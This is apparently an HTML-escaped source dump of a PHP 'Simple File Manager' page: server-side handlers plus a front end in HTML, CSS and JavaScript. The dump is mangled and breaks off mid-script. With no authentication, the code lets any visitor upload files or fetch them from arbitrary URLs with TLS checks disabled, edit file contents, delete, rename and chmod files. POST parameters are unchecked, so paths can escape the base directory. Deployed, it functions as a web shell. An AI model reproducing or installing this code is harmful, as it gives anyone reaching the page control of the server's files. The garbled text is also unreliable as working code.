&lt;textarea&gt;error_reporting(E_ALL);ini_set(&#039;display_errors&#039;, 1);define(&#039;BASE_DIR&#039;, __DIR__);define(&#039;DS&#039;, DIRECTORY_SEPARATOR);if (!isset($_GET[&#039;path&#039;])) {    $_GET[&#039;path&#039;] = &#039;&#039;;}$currentPath = realpath(BASE_DIR . DS . $_GET[&#039;path&#039;]);if (strpos($currentPath, BASE_DIR) !== 0) {    $currentPath = BASE_DIR;}function formatSizeUnits($bytes) {    if ($bytes &gt;= 1073741824) {        $bytes = number_format($bytes / 1073741824, 2) . &#039; GB&#039;;    } elseif ($bytes &gt;= 1048576) {        $bytes = number_format($bytes / 1048576, 2) . &#039; MB&#039;;    } elseif ($bytes &gt;= 1024) {        $bytes = number_format($bytes / 1024, 2) . &#039; KB&#039;;    } elseif ($bytes &gt; 1) {        $bytes = $bytes . &#039; bytes&#039;;    } elseif ($bytes == 1) {        $bytes = $bytes . &#039; byte&#039;;    } else {        $bytes = &#039;0 bytes&#039;;    }    return $bytes;}if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;) {    if (isset($_POST[&#039;action&#039;])) {        $action = $_POST[&#039;action&#039;];        if ($action === &#039;upload&#039;) {            if (isset($_FILES[&#039;files&#039;])) {                $uploadedCount = 0;                $errors = [];                foreach ($_FILES[&#039;files&#039;][&#039;name&#039;] as $key =&gt; $name) {                    $tmp_name = $_FILES[&#039;files&#039;][&#039;tmp_name&#039;][$key];                    $error = $_FILES[&#039;files&#039;][&#039;error&#039;][$key];                    if ($error === UPLOAD_ERR_OK) {                        $targetFile = $currentPath . DS . basename($name);                        if (move_uploaded_file($tmp_name, $targetFile)) {                            $uploadedCount++;                        } else {                            $errors[] = &quot;Failed to upload &quot; . htmlspecialchars($name);                        }                    } else {                        $errors[] = &quot;Upload error for &quot; . htmlspecialchars($name) . &quot;: Code &quot; . $error;                    }                }                if ($uploadedCount &gt; 0) {                    echo json_encode([&#039;status&#039; =&gt; &#039;success&#039;, &#039;message&#039; =&gt; $uploadedCount . &#039; file(s) uploaded successfully.&#039;, &#039;errors&#039; =&gt; $errors]);                } else {                    echo json_encode([&#039;status&#039; =&gt; &#039;error&#039;, &#039;message&#039; =&gt; &#039;No files uploaded.&#039;, &#039;errors&#039; =&gt; $errors]);                }            } elseif (isset($_POST[&#039;url&#039;]) &amp;&amp; !empty($_POST[&#039;url&#039;])) {                $url = $_POST[&#039;url&#039;];                $fileName = basename(parse_url($url, PHP_URL_PATH));                $targetFile = $currentPath . DS . $fileName;                $ch = curl_init($url);                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);                curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);                $data = curl_exec($ch);                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);                $error = curl_error($ch);                curl_close($ch);                if ($httpCode &gt;= 200 &amp;&amp; $httpCode &lt; 300 &amp;&amp; $data !== false) {                    if (file_put_contents($targetFile, $data)) {                        echo json_encode([&#039;status&#039; =&gt; &#039;success&#039;, &#039;message&#039; =&gt; &#039;File uploaded from URL successfully.&#039;]);                    } else {                        echo json_encode([&#039;status&#039; =&gt; &#039;error&#039;, &#039;message&#039; =&gt; &#039;Failed to save file from URL.&#039;]);                    }                } else {                    echo json_encode([&#039;status&#039; =&gt; &#039;error&#039;, &#039;message&#039; =&gt; &#039;Failed to download from URL: HTTP Code &#039; . $httpCode . &#039; - &#039; . $error]);                }            } else {                echo json_encode([&#039;status&#039; =&gt; &#039;error&#039;, &#039;message&#039; =&gt; &#039;No file or URL provided.&#039;]);            }            exit;        } elseif ($action === &#039;delete&#039;) {            $target = $currentPath . DS . $_POST[&#039;item&#039;];            if (file_exists($target)) {                if (is_dir($target)) {                    $files = array_diff(scandir($target), array(&#039;.&#039;, &#039;..&#039;));                    if (empty($files)) {                        if (rmdir($target)) {                            echo json_encode([&#039;status&#039; =&gt; &#039;success&#039;, &#039;message&#039; =&gt; &#039;Folder deleted successfully.&#039;]);                        } else {                            echo json_encode([&#039;status&#039; =&gt; &#039;error&#039;, &#039;message&#039; =&gt; &#039;Failed to delete folder.&#039;]);                        }                    } else {                        echo json_encode([&#039;status&#039; =&gt; &#039;error&#039;, &#039;message&#039; =&gt; &#039;Folder is not empty.&#039;]);                    }                } else {                    if (unlink($target)) {                        echo json_encode([&#039;status&#039; =&gt; &#039;success&#039;, &#039;message&#039; =&gt; &#039;File deleted successfully.&#039;]);                    } else {                        echo json_encode([&#039;status&#039; =&gt; &#039;error&#039;, &#039;message&#039; =&gt; &#039;Failed to delete file.&#039;]);                    }                }            } else {                echo json_encode([&#039;status&#039; =&gt; &#039;error&#039;, &#039;message&#039; =&gt; &#039;Item not found.&#039;]);            }            exit;        } elseif ($action === &#039;rename&#039;) {            $oldName = $currentPath . DS . $_POST[&#039;old_name&#039;];            $newName = $currentPath . DS . $_POST[&#039;new_name&#039;];            if (file_exists($oldName)) {                if (rename($oldName, $newName)) {                    echo json_encode([&#039;status&#039; =&gt; &#039;success&#039;, &#039;message&#039; =&gt; &#039;Item renamed successfully.&#039;]);                } else {                    echo json_encode([&#039;status&#039; =&gt; &#039;error&#039;, &#039;message&#039; =&gt; &#039;Failed to rename item.&#039;]);                }            } else {                echo json_encode([&#039;status&#039; =&gt; &#039;error&#039;, &#039;message&#039; =&gt; &#039;Item not found.&#039;]);            }            exit;        } elseif ($action === &#039;create_file&#039;) {            $fileName = $currentPath . DS . $_POST[&#039;name&#039;];            if (file_put_contents($fileName, &#039;&#039;) !== false) {                echo json_encode([&#039;status&#039; =&gt; &#039;success&#039;, &#039;message&#039; =&gt; &#039;File created successfully.&#039;]);            } else {                echo json_encode([&#039;status&#039; =&gt; &#039;error&#039;, &#039;message&#039; =&gt; &#039;Failed to create file.&#039;]);            }            exit;        } elseif ($action === &#039;create_folder&#039;) {            $folderName = $currentPath . DS . $_POST[&#039;name&#039;];            if (mkdir($folderName)) {                echo json_encode([&#039;status&#039; =&gt; &#039;success&#039;, &#039;message&#039; =&gt; &#039;Folder created successfully.&#039;]);            } else {                echo json_encode([&#039;status&#039; =&gt; &#039;error&#039;, &#039;message&#039; =&gt; &#039;Failed to create folder.&#039;]);            }            exit;        } elseif ($action === &#039;edit_file&#039;) {            $filePath = $currentPath . DS . $_POST[&#039;file_name&#039;];            $content = $_POST[&#039;content&#039;];            if (file_put_contents($filePath, $content) !== false) {                echo json_encode([&#039;status&#039; =&gt; &#039;success&#039;, &#039;message&#039; =&gt; &#039;File content updated successfully.&#039;]);            } else {                echo json_encode([&#039;status&#039; =&gt; &#039;error&#039;, &#039;message&#039; =&gt; &#039;Failed to update file content.&#039;]);            }            exit;        } elseif ($action === &#039;get_file_content&#039;) {            $filePath = $currentPath . DS . $_POST[&#039;file_name&#039;];            if (file_exists($filePath) &amp;&amp; is_file($filePath)) {                echo json_encode([&#039;status&#039; =&gt; &#039;success&#039;, &#039;content&#039; =&gt; file_get_contents($filePath)]);            } else {                echo json_encode([&#039;status&#039; =&gt; &#039;error&#039;, &#039;message&#039; =&gt; &#039;File not found or is not a file.&#039;]);            }            exit;        } elseif ($action === &#039;set_perm&#039;) {            $itemPath = $currentPath . DS . $_POST[&#039;item_name&#039;];            $permissions = octdec($_POST[&#039;permissions&#039;]);            if (file_exists($itemPath)) {                if (chmod($itemPath, $permissions)) {                    echo json_encode([&#039;status&#039; =&gt; &#039;success&#039;, &#039;message&#039; =&gt; &#039;Permissions set successfully.&#039;]);                } else {                    echo json_encode([&#039;status&#039; =&gt; &#039;error&#039;, &#039;message&#039; =&gt; &#039;Failed to set permissions.&#039;]);                }            } else {                echo json_encode([&#039;status&#039; =&gt; &#039;error&#039;, &#039;message&#039; =&gt; &#039;Item not found.&#039;]);            }            exit;        }    }}&lt;!DOCTYPE html&gt;&lt;html lang=&quot;en&quot;&gt;<head>    &lt;meta charset=&quot;UTF-8&quot;&gt;    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;<title>Simple File Manager</title>    &lt;title&gt;Simple File Manager&lt;/title&gt;    &lt;style&gt;        body { font-family: &#039;Segoe UI&#039;, Tahoma, Geneva, Verdana, sans-serif; margin: 0; padding: 15px; background-color: #f4f7f6; color: #333; overflow-x: hidden; }        .container { max-width: 95%; margin: auto; background-color: #fff; border-radius: 8px; box-shadow: 0 4px 15px rgba(0,0,0,0.1); padding: 20px; }        h1 { color: #5c636a; text-align: center; margin-bottom: 25px; }        .path-nav { background-color: #e9ecef; padding: 10px 15px; border-radius: 5px; margin-bottom: 20px; overflow-x: auto; white-space: nowrap; }        .path-nav a { text-decoration: none; color: #5c636a; margin-right: 5px; }        .path-nav span { color: #6c757d; }        .actions { display: flex; justify-content: space-around; gap: 5px; margin-bottom: 20px; padding: 0 10px; }        .actions button {            background-color: #007bff;            color: white; border: none; border-radius: 50%;            width: 45px; height: 45px; display: flex; align-items: center; justify-content: center;            font-size: 1.5em; cursor: pointer; flex-shrink: 0;            box-shadow: 0 2px 5px rgba(0,0,0,0.2);        }        .actions button:hover { opacity: 0.9; }        .actions input[type=&quot;file&quot;] { display: none; }        .file-item {            display: flex;            align-items: center;            padding: 12px 0;            border-bottom: 1px solid #dee2e6;            position: relative;            cursor: pointer;        }        .file-item:last-child { border-bottom: none; }        .file-item:hover { background-color: #f1f1f1; }        .file-icon {            font-size: 1.5em;            width: 40px;            height: 40px;            display: flex;            align-items: center;            justify-content: center;            margin-right: 10px;            flex-shrink: 0;            color: #007bff;        }        .item-info { flex-grow: 1; min-width: 0; }        .item-name { font-weight: bold; color: #333; word-wrap: break-word; overflow-wrap: break-word; }        .item-meta { font-size: 0.8em; color: #6c757d; display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }        .item-actions-btn {            font-size: 1.2em;            cursor: pointer;            padding: 5px;            border-radius: 50%;            transition: background-color 0.2s;            flex-shrink: 0;            color: #6c757d;        }        .item-actions-btn:hover {            background-color: #e9ecef;        }        .modal { display: none; position: fixed; z-index: 1000; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgba(0,0,0,0.6); justify-content: center; align-items: center; }        .modal-content { background-color: #fff; margin: auto; padding: 25px; border-radius: 8px; width: 90%; max-width: 500px; box-shadow: 0 5px 20px rgba(0,0,0,0.2); position: relative; }        .modal-content h2 { margin-top: 0; color: #5c636a; }        .modal-content input[type=&quot;text&quot;] {            width: calc(100% - 70px); /* Adjust width to make space for button */            padding: 10px;            margin-bottom: 15px;            border: 1px solid #ccc;            border-radius: 4px;            font-size: 1em;            box-sizing: border-box;            display: inline-block; /* Align input with button */            vertical-align: middle; /* Align input with button */        }        .modal-content textarea {            width: calc(100% - 20px); padding: 10px; margin-bottom: 15px; border: 1px solid #ccc; border-radius: 4px; font-size: 1em;            box-sizing: border-box;        }        .modal-content button {            background-color: #007bff;            color: white; padding: 10px 20px; border: none; border-radius: 5px; cursor: pointer;            width: 45px; height: 45px; display: inline-flex; align-items: center; justify-content: center;            font-size: 1.5em; border-radius: 50%;            vertical-align: middle; /* Align button with input */        }        .modal-content button:hover { opacity: 0.9; }        .close-button { position: absolute; right: 15px; top: 10px; font-size: 28px; font-weight: bold; color: #6c757d; cursor: pointer; }        .close-button:hover, .close-button:focus { color: #333; text-decoration: none; }        .context-menu {            display: none;            position: absolute;            background-color: #fff;            box-shadow: 0 2px 10px rgba(0,0,0,0.2);            border-radius: 5px;            z-index: 1001;            min-width: 150px;            right: 0;            top: 30px;        }        .context-menu button {            display: block;            width: 100%;            padding: 10px 15px;            text-align: left;            border: none;            background: none;            cursor: pointer;            font-size: 0.9em;            color: #333;            border-radius: 0;            margin: 0;        }        .context-menu button:hover {            background-color: #f1f1f1;            color: #5c636a;        }        #viewFileContent {            white-space: pre-wrap;            word-wrap: break-word;            max-height: 70vh;            overflow-y: auto;            background-color: #f8f8f8;            border: 1px solid #ddd;            padding: 10px;            border-radius: 4px;            margin-bottom: 15px;        }        #viewFileActions {            display: flex;            justify-content: flex-end;            gap: 10px;            margin-top: 15px;        }        #viewFileActions button {            background-color: #007bff;            color: white;            border: none;            border-radius: 50%;            width: 40px;            height: 40px;            display: flex;            align-items: center;            justify-content: center;            font-size: 1.2em;            cursor: pointer;            box-shadow: 0 2px 5px rgba(0,0,0,0.2);            padding: 0;        }        #viewFileActions button:hover { opacity: 0.9; }        #editFileModal .modal-content {            height: 90vh;            display: flex;            flex-direction: column;        }        #editFileContent {            flex-grow: 1;            resize: none;            height: auto;            margin-bottom: 10px;        }        #editFileModal .modal-buttons {            display: flex;            justify-content: flex-end;            gap: 10px;            width: 100%;        }    &lt;/style&gt;</head><body>    &lt;div class=&quot;container&quot;&gt;        <h1>File Manager</h1>        &lt;div class=&quot;path-nav&quot;&gt;                        $currentRelativePath = str_replace(BASE_DIR, &#039;&#039;, $currentPath);            $pathParts = explode(DS, trim($currentRelativePath, DS));            $pathLink = &#039;&#039;;            echo &#039;&lt;a href=&quot;?path=&quot; title=&quot;Home&quot;&gt;🏠&lt;/a&gt;&#039;;            foreach ($pathParts as $part) {                if (empty($part)) continue;                $pathLink .= DS . $part;                echo &#039; / &lt;a href=&quot;?path=&#039; . urlencode(ltrim($pathLink, DS)) . &#039;&quot;&gt;&#039; . htmlspecialchars($part) . &#039;&lt;/a&gt;&#039;;            }                    &lt;/div&gt;        &lt;div class=&quot;actions&quot;&gt;            &lt;button onclick=&quot;document.getElementById(&#039;fileInput&#039;).click()&quot; title=&quot;Upload Files&quot;&gt;⬆️&lt;/button&gt; <input type=file>            &lt;button onclick=&quot;showUploadUrlModal()&quot; title=&quot;Upload from URL&quot;&gt;🌐&lt;/button&gt;            &lt;button onclick=&quot;showCreateFileModal()&quot; title=&quot;Create New File&quot;&gt;📄&lt;/button&gt;            &lt;button onclick=&quot;showCreateFolderModal()&quot; title=&quot;Create New Folder&quot;&gt;📁&lt;/button&gt;        &lt;/div&gt;        &lt;div id=&quot;fileListContainer&quot;&gt;                        $items = scandir($currentPath);            $folders = [];            $files = [];            foreach ($items as $item) {                if ($item === &#039;.&#039; || $item === &#039;..&#039;) continue;                $itemPath = $currentPath . DS . $item;                $relativePath = str_replace(BASE_DIR . DS, &#039;&#039;, $itemPath);                $itemInfo = [                    &#039;name&#039; =&gt; htmlspecialchars($item),                    &#039;full_path&#039; =&gt; htmlspecialchars($relativePath),                    &#039;modified&#039; =&gt; date(&#039;Y-m-d H:i:s&#039;, filemtime($itemPath)),                    &#039;perms&#039; =&gt; substr(sprintf(&#039;%o&#039;, fileperms($itemPath)), -4)                ];                if (is_dir($itemPath)) {                    $folders[] = $itemInfo;                } else {                    $itemInfo[&#039;size&#039;] = formatSizeUnits(filesize($itemPath));                    $files[] = $itemInfo;                }            }            usort($folders, function($a, $b) { return strnatcmp($a[&#039;name&#039;], $b[&#039;name&#039;]); });            usort($files, function($a, $b) { return strnatcmp($a[&#039;name&#039;], $b[&#039;name&#039;]); });            if ($currentPath !== BASE_DIR) {                $parentPath = dirname($currentPath);                $parentRelativePath = str_replace(BASE_DIR . DS, &#039;&#039;, $parentPath);                echo &#039;&lt;div class=&quot;file-item&quot; onclick=&quot;window.location.href=\&#039;?path=&#039; . urlencode($parentRelativePath) . &#039;\&#039;&quot;&gt;&#039;;                echo &#039;&lt;div class=&quot;file-icon&quot;&gt;📁&lt;/div&gt;&#039;;                echo &#039;&lt;div class=&quot;item-info&quot;&gt;&#039;;                echo &#039;&lt;span class=&quot;item-name&quot;&gt;..&lt;/span&gt;&#039;;                echo &#039;&lt;span class=&quot;item-meta&quot;&gt;Parent Directory&lt;/span&gt;&#039;;                echo &#039;&lt;/div&gt;&#039;;                echo &#039;&lt;div class=&quot;item-actions-btn&quot;&gt;&lt;/div&gt;&#039;;                echo &#039;&lt;/div&gt;&#039;;            }            foreach ($folders as $folder) {                echo &#039;&lt;div class=&quot;file-item&quot; onclick=&quot;window.location.href=\&#039;?path=&#039; . urlencode($folder[&#039;full_path&#039;]) . &#039;\&#039;&quot;&gt;&#039;;                echo &#039;&lt;div class=&quot;file-icon&quot;&gt;📁&lt;/div&gt;&#039;;                echo &#039;&lt;div class=&quot;item-info&quot;&gt;&#039;;                echo &#039;&lt;span class=&quot;item-name&quot;&gt;&#039; . $folder[&#039;name&#039;] . &#039;&lt;/span&gt;&#039;;                echo &#039;&lt;span class=&quot;item-meta&quot;&gt;&#039; . $folder[&#039;modified&#039;] . &#039; &amp;bull; &#039; . $folder[&#039;perms&#039;] . &#039;&lt;/span&gt;&#039;;                echo &#039;&lt;/div&gt;&#039;;                echo &#039;&lt;div class=&quot;item-actions-btn&quot; onclick=&quot;event.stopPropagation(); showContextMenu(this, \&#039;&#039; . $folder[&#039;name&#039;] . &#039;\&#039;, \&#039;folder\&#039;, \&#039;&#039; . $folder[&#039;perms&#039;] . &#039;\&#039;)&quot;&gt;⋮&lt;/div&gt;&#039;;                echo &#039;&lt;/div&gt;&#039;;            }            foreach ($files as $file) {                echo &#039;&lt;div class=&quot;file-item&quot; onclick=&quot;viewFile(\&#039;&#039; . $file[&#039;name&#039;] . &#039;\&#039;)&quot;&gt;&#039;;                echo &#039;&lt;div class=&quot;file-icon&quot;&gt;📄&lt;/div&gt;&#039;;                echo &#039;&lt;div class=&quot;item-info&quot;&gt;&#039;;                echo &#039;&lt;span class=&quot;item-name&quot;&gt;&#039; . $file[&#039;name&#039;] . &#039;&lt;/span&gt;&#039;;                echo &#039;&lt;span class=&quot;item-meta&quot;&gt;&#039; . $file[&#039;size&#039;] . &#039; &amp;bull; &#039; . $file[&#039;modified&#039;] . &#039; &amp;bull; &#039; . $file[&#039;perms&#039;] . &#039;&lt;/span&gt;&#039;;                echo &#039;&lt;/div&gt;&#039;;                echo &#039;&lt;div class=&quot;item-actions-btn&quot; onclick=&quot;event.stopPropagation(); showContextMenu(this, \&#039;&#039; . $file[&#039;name&#039;] . &#039;\&#039;, \&#039;file\&#039;, \&#039;&#039; . $file[&#039;perms&#039;] . &#039;\&#039;)&quot;&gt;⋮&lt;/div&gt;&#039;;                echo &#039;&lt;/div&gt;&#039;;            }                    &lt;/div&gt;    &lt;/div&gt;    &lt;div id=&quot;uploadUrlModal&quot; class=&quot;modal&quot;&gt;        &lt;div class=&quot;modal-content&quot;&gt;            &lt;span class=&quot;close-button&quot; onclick=&quot;closeModal(&#039;uploadUrlModal&#039;)&quot;&gt;✕&lt;/span&gt;            <h2>Upload from URL</h2>            <input type=text>            &lt;button onclick=&quot;uploadFromUrl()&quot; title=&quot;Upload&quot;&gt;➤&lt;/button&gt;        &lt;/div&gt;    &lt;/div&gt;    &lt;div id=&quot;createFileModal&quot; class=&quot;modal&quot;&gt;        &lt;div class=&quot;modal-content&quot;&gt;            &lt;span class=&quot;close-button&quot; onclick=&quot;closeModal(&#039;createFileModal&#039;)&quot;&gt;✕&lt;/span&gt;            <h2>Create New File</h2>            <input type=text>            &lt;button onclick=&quot;createFile()&quot; title=&quot;Create&quot;&gt;➤&lt;/button&gt;        &lt;/div&gt;    &lt;/div&gt;    &lt;div id=&quot;createFolderModal&quot; class=&quot;modal&quot;&gt;        &lt;div class=&quot;modal-content&quot;&gt;            &lt;span class=&quot;close-button&quot; onclick=&quot;closeModal(&#039;createFolderModal&#039;)&quot;&gt;✕&lt;/span&gt;            <h2>Create New Folder</h2>            <input type=text>            &lt;button onclick=&quot;createFolder()&quot; title=&quot;Create&quot;&gt;➤&lt;/button&gt;        &lt;/div&gt;    &lt;/div&gt;    &lt;div id=&quot;editFileModal&quot; class=&quot;modal&quot;&gt;        &lt;div class=&quot;modal-content&quot;&gt;            &lt;span class=&quot;close-button&quot; onclick=&quot;closeModal(&#039;editFileModal&#039;)&quot;&gt;✕&lt;/span&gt;            <h2>Edit File: &lt;span id=&quot;editFileName&quot;&gt;&lt;/span&gt;</h2>            &lt;textarea id=&quot;editFileContent&quot;&gt;&lt;/textarea&gt;            &lt;div class=&quot;modal-buttons&quot;&gt;                &lt;button onclick=&quot;saveFileContent()&quot; title=&quot;Save&quot;&gt;➤&lt;/button&gt;            &lt;/div&gt;        &lt;/div&gt;    &lt;/div&gt;    &lt;div id=&quot;viewFileModal&quot; class=&quot;modal&quot;&gt;        &lt;div class=&quot;modal-content&quot;&gt;            &lt;span class=&quot;close-button&quot; onclick=&quot;closeModal(&#039;viewFileModal&#039;)&quot;&gt;✕&lt;/span&gt;            <h2>View File: &lt;span id=&quot;viewFileName&quot;&gt;&lt;/span&gt;</h2>            &lt;pre id=&quot;viewFileContent&quot;&gt;&lt;/pre&gt;            &lt;div id=&quot;viewFileActions&quot;&gt;                &lt;button onclick=&quot;editFile(currentItemName); closeModal(&#039;viewFileModal&#039;);&quot; title=&quot;Edit File&quot;&gt;✏️&lt;/button&gt;                &lt;button onclick=&quot;renameItem(currentItemName); closeModal(&#039;viewFileModal&#039;);&quot; title=&quot;Rename Item&quot;&gt;🔄&lt;/button&gt;                &lt;button onclick=&quot;deleteItem(currentItemName); closeModal(&#039;viewFileModal&#039;);&quot; title=&quot;Delete Item&quot;&gt;🗑️&lt;/button&gt;                &lt;button onclick=&quot;showPermissionsModal(currentItemName, currentItemPerms); closeModal(&#039;viewFileModal&#039;);&quot; title=&quot;Set Permissions&quot;&gt;🔑&lt;/button&gt;            &lt;/div&gt;        &lt;/div&gt;    &lt;/div&gt;    &lt;div id=&quot;permissionsModal&quot; class=&quot;modal&quot;&gt;        &lt;div class=&quot;modal-content&quot;&gt;            &lt;span class=&quot;close-button&quot; onclick=&quot;closeModal(&#039;permissionsModal&#039;)&quot;&gt;✕&lt;/span&gt;            <h2>Set Permissions for: &lt;span id=&quot;permsItemName&quot;&gt;&lt;/span&gt;</h2>            <input type=text>            &lt;button onclick=&quot;setPermissions()&quot; title=&quot;Apply&quot;&gt;➤&lt;/button&gt;        &lt;/div&gt;    &lt;/div&gt;    &lt;div id=&quot;contextMenu&quot; class=&quot;context-menu&quot;&gt;&lt;/div&gt;    &lt;script&gt;        let currentItemName = &#039;&#039;;        let currentItemType = &#039;&#039;;        let currentItemPerms = &#039;&#039;;        function showModal(id) {            document.getElementById(id).style.display = &#039;flex&#039;;        }        function closeModal(id) {            document.getElementById(id).style.display = &#039;none&#039;;            document.getElementById(&#039;contextMenu&#039;).style.display = &#039;none&#039;;        }        function showContextMenu(element, name, type, perms) {            currentItemName = name;            currentItemType = type;            currentItemPerms = perms;            const menu = document.getElementById(&#039;contextMenu&#039;);            menu.innerHTML = &#039;&#039;;            const renameBtn = document.createElement(&#039;button&#039;);            renameBtn.innerText = &#039;Rename&#039;;            renameBtn.onclick = () =&gt; { renameItem(currentItemName); closeModal(&#039;contextMenu&#039;); };            menu.appendChild(renameBtn);            const deleteBtn = document.createElement(&#039;button&#039;);            deleteBtn.innerText = &#039;Delete&#039;;            deleteBtn.onclick = () =&gt; { deleteItem(currentItemName); closeModal(&#039;contextMenu&#039;); };            menu.appendChild(deleteBtn);            if (type === &#039;file&#039;) {                const viewBtn = document.createElement(&#039;button&#039;);                viewBtn.innerText = &#039;View&#039;;                viewBtn.onclick = () =&gt; { viewFile(currentItemName); closeModal(&#039;contextMenu&#039;); };                menu.appendChild(viewBtn);                const editBtn = document.createElement(&#039;button&#039;);                editBtn.innerText = &#039;Edit&#039;;                editBtn.onclick = () =&gt; { editFile(currentItemName); closeModal(&#039;contextMenu&#039;); };                menu.appendChild(editBtn);                const downloadBtn = document.createElement(&#039;button&#039;);                downloadBtn.innerText = &#039;Download&#039;;                downloadBtn.onclick = () =&gt; {                    const downloadLink = document.createElement(&#039;a&#039;);                    downloadLink.href = currentItemName;                    downloadLink.download = currentItemName;                    document.body.appendChild(downloadLink);                    downloadLink.click();                    document.body.removeChild(downloadLink);                    closeModal(&#039;contextMenu&#039;);                };                menu.appendChild(downloadBtn);            }            const permsBtn = document.createElement(&#039;button&#039;);            permsBtn.innerText = &#039;Set Permissions&#039;;            permsBtn.onclick = () =&gt; { showPermissionsModal(currentItemName, currentItemPerms); closeModal(&#039;contextMenu&#039;); };            menu.appendChild(permsBtn);            menu.style.display = &#039;block&#039;;            menu.style.right = &#039;auto&#039;;            menu.style.left = &#039;auto&#039;;            const rect = element.getBoundingClientRect();            let desiredLeft = rect.right + window.scrollX - menu.offsetWidth;            const viewportWidth = window.innerWidth;            if (desiredLeft &lt; 0) {                desiredLeft = 5;            } else if (desiredLeft + menu.offsetWidth &gt; viewportWidth) {                desiredLeft = viewportWidth - menu.offsetWidth - 5;            }            menu.style.left = `${desiredLeft}px`;            menu.style.top = `${rect.bottom + window.scrollY}px`;        }        document.addEventListener(&#039;click&#039;, function(event) {            const menu = document.getElementById(&#039;contextMenu&#039;);            const target = event.target;            if (menu.style.display === &#039;block&#039; &amp;&amp; !menu.contains(target) &amp;&amp; !target.classList.contains(&#039;item-actions-btn&#039;)) {                menu.style.display = &#039;none&#039;;            }        });        function uploadFile() {            const fileInput = document.getElementById(&#039;fileInput&#039;);            if (fileInput.files.length === 0) {                alert(&#039;No files selected.&#039;);                return;            }            const formData = new FormData();            formData.append(&#039;action&#039;, &#039;upload&#039;);            for (let i = 0; i &lt; fileInput.files.length; i++) {                formData.append(&#039;files[]&#039;, fileInput.files[i]);            }            fetch(window.location.href, {                method: &#039;POST&#039;,                body: formData            })            .then(response =&gt; response.json())            .then(data =&gt; {                alert(data.message + (data.errors ? &#039;\nErrors: &#039; + data.errors.join(&#039;, &#039;) : &#039;&#039;));                if (data.status === &#039;success&#039;) {                    location.reload();                }            })            .catch(error =&gt; {                console.error(&#039;Error:&#039;, error);                alert(&#039;An error occurred during upload.&#039;);            });        }        function showUploadUrlModal() {            showModal(&#039;uploadUrlModal&#039;);        }        function uploadFromUrl() {            const urlInput = document.getElementById(&#039;uploadUrlInput&#039;);            const url = urlInput.value.trim();            if (!url) {                alert(&#039;Please enter a URL.&#039;);                return;            }            const formData = new FormData();            formData.append(&#039;action&#039;, &#039;upload&#039;);            formData.append(&#039;url&#039;, url);            fetch(window.location.href, {                method: &#039;POST&#039;,                body: formData            })            .then(response =&gt; response.json())            .then(data =&gt; {                alert(data.message);                if (data.status === &#039;success&#039;) {                    closeModal(&#039;uploadUrlModal&#039;);                    urlInput.value = &#039;&#039;;                    location.reload();                }            })            .catch(error =&gt; {                console.error(&#039;Error:&#039;, error);                alert(&#039;An error occurred during URL upload.&#039;);            });        }        function deleteItem(item) {            if (confirm(`Are you sure you want to delete &quot;${item}&quot;?`)) {                const formData = new FormData();                formData.append(&#039;action&#039;, &#039;delete&#039;);                formData.append(&#039;item&#039;, item);                fetch(window.location.href, {                    method: &#039;POST&#039;,                    body: formData                })                .then(response =&gt; response.json())                .then(data =&gt; {                    alert(data.message);                    if (data.status === &#039;success&#039;) {                        location.reload();                    }                })                .catch(error =&gt; {                    console.error(&#039;Error:&#039;, error);                    alert(&#039;An error occurred during deletion.&#039;);                });            }        }        function renameItem(oldName) {            const newName = prompt(`Rename &quot;${oldName}&quot; to:`, oldName);            if (newName &amp;&amp; newName !== oldName) {                const formData = new FormData();                formData.append(&#039;action&#039;, &#039;rename&#039;);                formData.append(&#039;old_name&#039;, oldName);                formData.append(&#039;new_name&#039;, newName);                fetch(window.location.href, {                    method: &#039;POST&#039;,                    body: formData                })                .then(response =&gt; response.json())                .then(data =&gt; {                    alert(data.message);                    if (data.status === &#039;success&#039;) {                        location.reload();                    }                })                .catch(error =&gt; {                    console.error(&#039;Error:&#039;, error);                    alert(&#039;An error occurred during rename.&#039;);                });            }        }        function showCreateFileModal() {            showModal(&#039;createFileModal&#039;);        }        function createFile() {            const fileNameInput = document.getElementById(&#039;newFileNameInput&#039;);            const fileName = fileNameInput.value.trim();            if (!fileName) {                alert(&#039;Please enter a file name.&#039;);                return;            }            const formData = new FormData();            formData.append(&#039;action&#039;, &#039;create_file&#039;);            formData.append(&#039;name&#039;, fileName);            fetch(window.location.href, {                method: &#039;POST&#039;,                body: formData            })            .then(response =&gt; response.json())            .then(data =&gt; {                alert(data.message);                if (data.status === &#039;success&#039;) {                    closeModal(&#039;createFileModal&#039;);                    fileNameInput.value = &#039;&#039;;                    location.reload();                }            })            .catch(error =&gt; {                console.error(&#039;Error:&#039;, error);                alert(&#039;An error occurred during file creation.&#039;);            });        }        function showCreateFolderModal() {            showModal(&#039;createFolderModal&#039;);        }        function createFolder() {            const folderNameInput = document.getElementById(&#039;newFolderNameInput&#039;);            const folderName = folderNameInput.value.trim();            if (!folderName) {                alert(&#039;Please enter a folder name.&#039;);                return;            }            const formData = new FormData();            formData.append(&#039;action&#039;, &#039;create_folder&#039;);            formData.append(&#039;name&#039;, folderName);            fetch(window.location.href, {                method: &#039;POST&#039;,                body: formData            })            .then(response =&gt; response.json())            .then(data =&gt; {                alert(data.message);                if (data.status === &#039;success&#039;) {                    closeModal(&#039;createFolderModal&#039;);                    folderNameInput.value = &#039;&#039;;                    location.reload();                }            })            .catch(error =&gt; {                console.error(&#039;Error:&#039;, error);                alert(&#039;An error occurred during folder creation.&#039;);            });        }        function viewFile(fileName) {            currentItemName = fileName;            document.getElementById(&#039;viewFileName&#039;).innerText = fileName;            const formData = new FormData();            formData.append(&#039;action&#039;, &#039;get_file_content&#039;);            formData.append(&#039;file_name&#039;, fileName);            fetch(window.location.href, {                method: &#039;POST&#039;,                body: formData            })            .then(response =&gt; response.json())            .then(data =&gt; {                if (data.status === &#039;success&#039;) {                    document.getElementById(&#039;viewFileContent&#039;).innerText = data.content;                    showModal(&#039;viewFileModal&#039;);                } else {                    alert(data.message);                }            })            .catch(error =&gt; {                console.error(&#039;Error:&#039;, error);                alert(&#039;An error occurred while fetching file content.&#039;);            });        }        